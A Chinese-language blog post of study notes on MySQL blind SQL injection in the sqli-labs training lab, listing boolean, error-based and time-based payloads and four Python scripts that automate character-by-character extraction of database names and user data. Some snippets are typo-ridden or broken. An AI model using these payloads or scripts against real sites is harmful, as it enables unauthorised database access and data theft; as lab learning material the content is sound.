前言 在做sqlilabs时,了解到的东西,写一下,把学到的总结一下,以后方便看
盲注 盲注是指在SQL注入的过程中,执行选择的语句不会正确回显到前段页面,需要我们利用一些方法判断或尝试,这个过程称为盲注。
盲注又分为了以下三种: 1.布尔型盲注:根据页面返回的真假来判断的即为布尔型盲注 2.时间型盲注:根据页面返回的时间来判断的即为时间型盲注 3.报错型盲注:根据页面返回的对错来判断的即为报错型盲注
可以看一下这篇文章https://www.freebuf.com/articles/web/30841.html
这道题输入**?id=1’**,报错
输入**?id=1’–+,返回 you are in…**,
以sqlilabs的Less-5为例。
下面是转的,我一个同学写的原文链接
布尔型盲注 1、利用 left() 函数得到数据库名
left()函数
left(database(),1)>’s’ //left()函数
left(a,b) 从左截取a的前b位
此时想得到信息可以尝试?id=1' and left(version(),1)=5--+
如果版本号第一个数字是5则会返回You are in,如果错误的话则不能正确的返回You are in,比如?id=1' and left(version(),1)=6--+
,则无法正确回显。继续进行下去可以盲注出更多信息?id=1’ and left(version(),4)=concat(‘5.7.’)–+ 。 看一下数据库名的长度?id=1' and length(database())=8--+
,可以正确回显,说明数据库名长度就是8,接下来爆数据库名?id=1' and left(database(),1)>'a'--+
,这个数据库第一个字母是s,显然成立,具体不知道时可以用二分法,接下来爆第二位?id=1' and left(database(),2)>'sa'--+
可以一步步爆出所有字段。
2、利用 substr() , ascii() 函数得到表名
substr()函数
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101–+
substr(a,b,c) 从b位置开始,截取字符串a的c长度,
ascii()函数
ascii(substr((select database()),1,1))=98
ascii() 将单个字符转换为ascii码值
前面已经得到数据库名为security ,接下里爆表:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+
,当然,这里的 database() 也可以换成 security ,作用是相同的。一步步改变 substr()即可爆出第一个表为 emails。改变 limit() 参数即可爆出所有表。此处也可以不用 ascii() 函数,?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,2)='ea'
同样可以实现要求。
limit
limit是mysql的语法 select * from table limit m,n 其中m是指记录开始的index,从0开始,表示第一条记录。 n是指从第m+1条开始,取n条。 select * from tablename limit 2,4 即取出第3条至第6条,4条记录 注入时一般只能返回一条记录,否者会报Subquery returns more than 1 row,所以可以改变m,但n的话保持是1即可.
3、利用 regexp() 函数得到列名
regexp正则注入
select user() regexp ‘^[a-z]’;,这样会匹配user为root,如果正确返回1,那么… regexp ‘^ro’ 则可以匹配第二位。
接下来爆users表的列名,?id=1' and 1=(select 1 from information_schema.columns where table_name=’user’ and column_name regexp ‘username’ limit 0,1)--+
,改变 regexp() 参数即可继续爆出其他列名。
4、利用 ord() 和 mid() 函数得到user表中的内容
ord()函数
ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))>98%23
mid(a,b,c) 从位置b开始,截取a字符串的c位 ord() 函数与ascii函数相同。
ord() 和 ascii() 作用相同, mid() 和 substr() 作用相同,爆表内容:?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68--+
,当然,还有一个简化一点的?id=1' and binary mid((select username from security.users order by id limit 0,1),1,3)='Dum'—+
这个更简单一点。这样就可以得到表中的所有内容了。binary 关键字可以在比较时区分大小写。
经过这四步就可以得到整个表的信息了。
bool盲注脚本$_GET 具体可查看原文链接 ,讲解的非常详细,非常适合我这种新手。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import sysimport requestsdef getPayload (result_index, char_index, ascii ): info_database_name = "information_schema" info_table_name = "schemata" info_column_name = "schema_name" database_name = "security" table_name = "users" column_name = ["id" ,"username" ,"password" ] start_str = "1' and " end_str = "--+" where_str = "" select_str = "select " +info_column_name+" from " +info_database_name+"." +info_table_name+where_str+" limit " +str (result_index)+",1" sqli_str = "(ascii(mid((" +select_str+")," +str (char_index)+",1))>" +str (ascii )+")" payload = start_str + sqli_str + end_str return payload def execute (result_index, char_index, ascii ): url = "http://localhost:8088/sqlilabs/Less-8/?id=" exec_url = url + getPayload(result_index, char_index, ascii ) echo = "You are in" content = requests.get(exec_url).text if echo in content: return True else : return False def dichotomy (result_index, char_index, left, right ): while left < right: ascii = int ((left+right)/2 ) if execute(str (result_index), str (char_index+1 ), str (ascii )): left = ascii else : right = ascii if left == right-1 : if execute(str (result_index), str (char_index+1 ), str (ascii )): ascii += 1 break else : break return chr (ascii ) if __name__ == "__main__" : for num in range (32 ): count = 0 for len in range (32 ): count += 1 char = dichotomy(num, len , 30 , 126 ) if ord (char) == 31 : break sys.stdout.write(char) sys.stdout.flush() if count == 1 : break sys.stdout.write("\r\n" ) sys.stdout.flush()
我同学写的一个
0verwatch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestsurl = "http://192.168.100.102/sqlilabs/Less-5/?id=1%27 and ascii(substr((select database()),{_},1))={__} %23" database = '' for i in range (1 ,50 ): for j in range (65 ,127 ): payload = url.format (_ = i,__ = j) ans = requests.get(payload) if 'You are in...........' in ans.content: table_name += chr (j) print table_name break
bool盲注脚本$_POST
原文链接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import sys import requestsdef getPayload (result_index, char_index, ascii ): info_database_name = "information_schema" info_table_name = "schemata" info_column_name = "schema_name" database_name = "security" table_name = "users" column_name = ["id" ,"username" ,"password" ] where_str = "" select_str = "select " +info_column_name+" from " +info_database_name+"." +info_table_name+where_str+" limit " +str (result_index)+",1" sqli_str = "(ascii(mid((" +select_str+")," +str (char_index)+",1))>" +str (ascii )+")" payload = {"uname" :"1" , "passwd" :"1' or " +sqli_str+"-- " } return payload def execute (result_index, char_index, ascii ): url = "http://localhost:8088/sqlilabs/Less-11/" payload = getPayload(result_index, char_index, ascii ) echo = "Your Login name" content = requests.post(url, data=payload).text if echo in content: return True else : return False def dichotomy (result_index, char_index, left, right ): while left < right: ascii = int ((left+right)/2 ) if execute(str (result_index), str (char_index+1 ), str (ascii )): left = ascii else : right = ascii if left == right-1 : if execute(str (result_index), str (char_index+1 ), str (ascii )): ascii += 1 break else : break return chr (ascii ) if __name__ == "__main__" : for num in range (32 ): count = 0 for len in range (32 ): count += 1 char = dichotomy(num, len , 30 , 126 ) if ord (char) == 31 : break sys.stdout.write(char) sys.stdout.flush() if count == 1 : break sys.stdout.write("\r\n" ) sys.stdout.flush()
报错注入 函数介绍
concat()计数报错
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;
需要注意三个点,一是需要concat()计数,二是floor,取得0 or1 ,进行数据的重复,三是group by进行分组,此处会报错好像是因为MySQL的一个bug,rand() 有时候需要多试几次。 如果关键的表被禁用的话,可以使用下面的方法
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果rand被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
exp()
select exp(~(select * from (select user())a)) //double数值类型超出范围 exp()函数为以e为底的对数函数,版本在5.5.5及其之上,本例利用了exp报错
~0
select !(select * from (select user())x) - 0 bigint类型超出范围,0 是对0按位取反。
xpath
extractvalue(1,concat(0x7a,(select @@version),0x7e)) //MySQL对XML数据进行修改的xpath函数,xpath语法错误。
updatexml
updatexml(1,concat(0x7e,(select @@version),0x7e),1) //与第4个相同原理
重复特性
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x; //mysql重复特性,此处重复了version,所以报错。
这里借用现成的payload?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)%23
把version()替换成其他,就可以得到其他的信息
报错盲注语句
chaosec.top
1、通过floor报错,注入语句如下:
1 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,注入语句如下:
1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、通过NAME_CONST报错,注入语句如下:
1 and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
1 select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
1 and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下:
1 and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
1 and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
1 and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
1 and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
1 and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
1 and linestring (()select * from(select user() )a)b );
updatexml完整注入
1爆库.and updatexml(1,concat(0x7e,database(),0x7e),1)#
2爆表.and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
3爆列.and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=’user’),0x7e),1)#
4爆内容.and updatexml(1,concat(0x7e,(select username from users),0x7e),1)#
延时(Time)注入 1、利用 sleep() 函数进行注入?id=1' and if(ascii(substr(database(),1,1))=116,1,sleep(5))--+
if(x,1,sleep(5)) x处语句正确,直接返回结果,错误,延时返回 2、利用 benchmark() 进行延时注入?id=1'union select (if(substring(current,1,1)=char(115),benchmark(50000000,encode('MSG','by 5 seconds')),null)),2,3 from (select database() as current) as tb1--+
如果正确的话就会函数就会执行一段时间才返回
延时注入脚本$_GET 原文链接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import sysimport timeimport requestsdef getPayload (result_index, char_index, ascii ): info_database_name = "information_schema" info_table_name = "schemata" info_column_name = "schema_name" database_name = "security" table_name = "users" column_name = ["id" ,"username" ,"password" ] start_str = "1' and " end_str = "--+" where_str = "" select_str = "select " +info_column_name+" from " +info_database_name+"." +info_table_name+where_str+" limit " +str (result_index)+",1" sqli_str = "if(ascii(mid((" +select_str+")," +str (char_index)+",1))=" +str (ascii )+",sleep(0.2),0)" payload = start_str + sqli_str + end_str return payload def execute (result_index, char_index, ascii ): url = "http://localhost:8088/sqlilabs/Less-9/?id=" exec_url = url + getPayload(result_index, char_index, ascii ) before_time = time.time() requests.head(exec_url) after_time = time.time() use_time = after_time - before_time if use_time > 0.1 : return True else : return False def exhaustive (result_index, char_index ): ascii_list = ['a' ,'b' ,'c' ,'d' ,'e' ,'f' ,'g' ,'h' ,'i' ,'j' ,'k' ,'l' ,'m' ,'n' ,'o' ,'p' ,'q' ,'r' ,'s' ,'t' ,'u' ,'v' ,'w' ,'x' ,'y' ,'z' ,'_' ,'A' ,'B' ,'C' ,'D' ,'E' ,'F' ,'G' ,'H' ,'I' ,'J' ,'K' ,'L' ,'M' ,'N' ,'O' ,'P' ,'Q' ,'R' ,'S' ,'T' ,'U' ,'V' ,'W' ,'X' ,'Y' ,'Z' ,' ' ,'!' ,'"' ,'#' ,'$' ,'%' ,'&' ,'\'' ,'(' ,')' ,'*' ,'+' ,',' ,'-' ,'.' ,'/' ,'0' ,'1' ,'2' ,'3' ,'4' ,'5' ,'6' ,'7' ,'8' ,'9' ,':' ,';' ,'<' ,'=' ,'>' ,'?' ,'@' ,'[' ,'\\' ,']' ,'^' ,'`' ,'{' ,'|' ,'}' ,'~' ] for ascii_char in ascii_list: ascii = ord (ascii_char) if execute(str (result_index), str (char_index+1 ), str (ascii )): return ascii_char return chr (1 ) if __name__ == "__main__" : for num in range (32 ): count = 0 for len in range (32 ): count += 1 char = exhaustive(num, len ) if ord (char) == 1 : break sys.stdout.write(char) sys.stdout.flush() if count == 1 : break sys.stdout.write("\r\n" ) sys.stdout.flush()
延时注入脚本$_POST
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import sysimport timeimport requestsdef getPayload (result_index, char_index, ascii ): info_database_name = "information_schema" info_table_name = "schemata" info_column_name = "schema_name" database_name = "security" table_name = "users" column_name = ["id" ,"username" ,"password" ] where_str = "" select_str = "select " +info_column_name+" from " +info_database_name+"." +info_table_name+where_str+" limit " +str (result_index)+",1" sqli_str = "if(ascii(mid((" +select_str+")," +str (char_index)+",1))=" +str (ascii )+",sleep(0.2),0)" payload = {"uname" :"1" , "passwd" :"1' or " +sqli_str+"-- " } return payload def execute (result_index, char_index, ascii ): url = "http://localhost:8088/sqlilabs/Less-15/" payload = getPayload(result_index, char_index, ascii ) before_time = time.time() requests.post(url, data=payload) after_time = time.time() use_time = after_time - before_time if use_time > 0.1 : return True else : return False def exhaustive (result_index, char_index ): ascii_list = ['a' ,'b' ,'c' ,'d' ,'e' ,'f' ,'g' ,'h' ,'i' ,'j' ,'k' ,'l' ,'m' ,'n' ,'o' ,'p' ,'q' ,'r' ,'s' ,'t' ,'u' ,'v' ,'w' ,'x' ,'y' ,'z' ,'_' ,'A' ,'B' ,'C' ,'D' ,'E' ,'F' ,'G' ,'H' ,'I' ,'J' ,'K' ,'L' ,'M' ,'N' ,'O' ,'P' ,'Q' ,'R' ,'S' ,'T' ,'U' ,'V' ,'W' ,'X' ,'Y' ,'Z' ,' ' ,'!' ,'"' ,'#' ,'$' ,'%' ,'&' ,'\'' ,'(' ,')' ,'*' ,'+' ,',' ,'-' ,'.' ,'/' ,'0' ,'1' ,'2' ,'3' ,'4' ,'5' ,'6' ,'7' ,'8' ,'9' ,':' ,';' ,'<' ,'=' ,'>' ,'?' ,'@' ,'[' ,'\\' ,']' ,'^' ,'`' ,'{' ,'|' ,'}' ,'~' ] for ascii_char in ascii_list: ascii = ord (ascii_char) if execute(str (result_index), str (char_index+1 ), str (ascii )): return ascii_char return chr (1 ) if __name__ == "__main__" : for num in range (32 ): count = 0 for len in range (32 ): count += 1 char = exhaustive(num, len ) if ord (char) == 1 : break sys.stdout.write(char) sys.stdout.flush() if count == 1 : break sys.stdout.write("\r\n" ) sys.stdout.flush()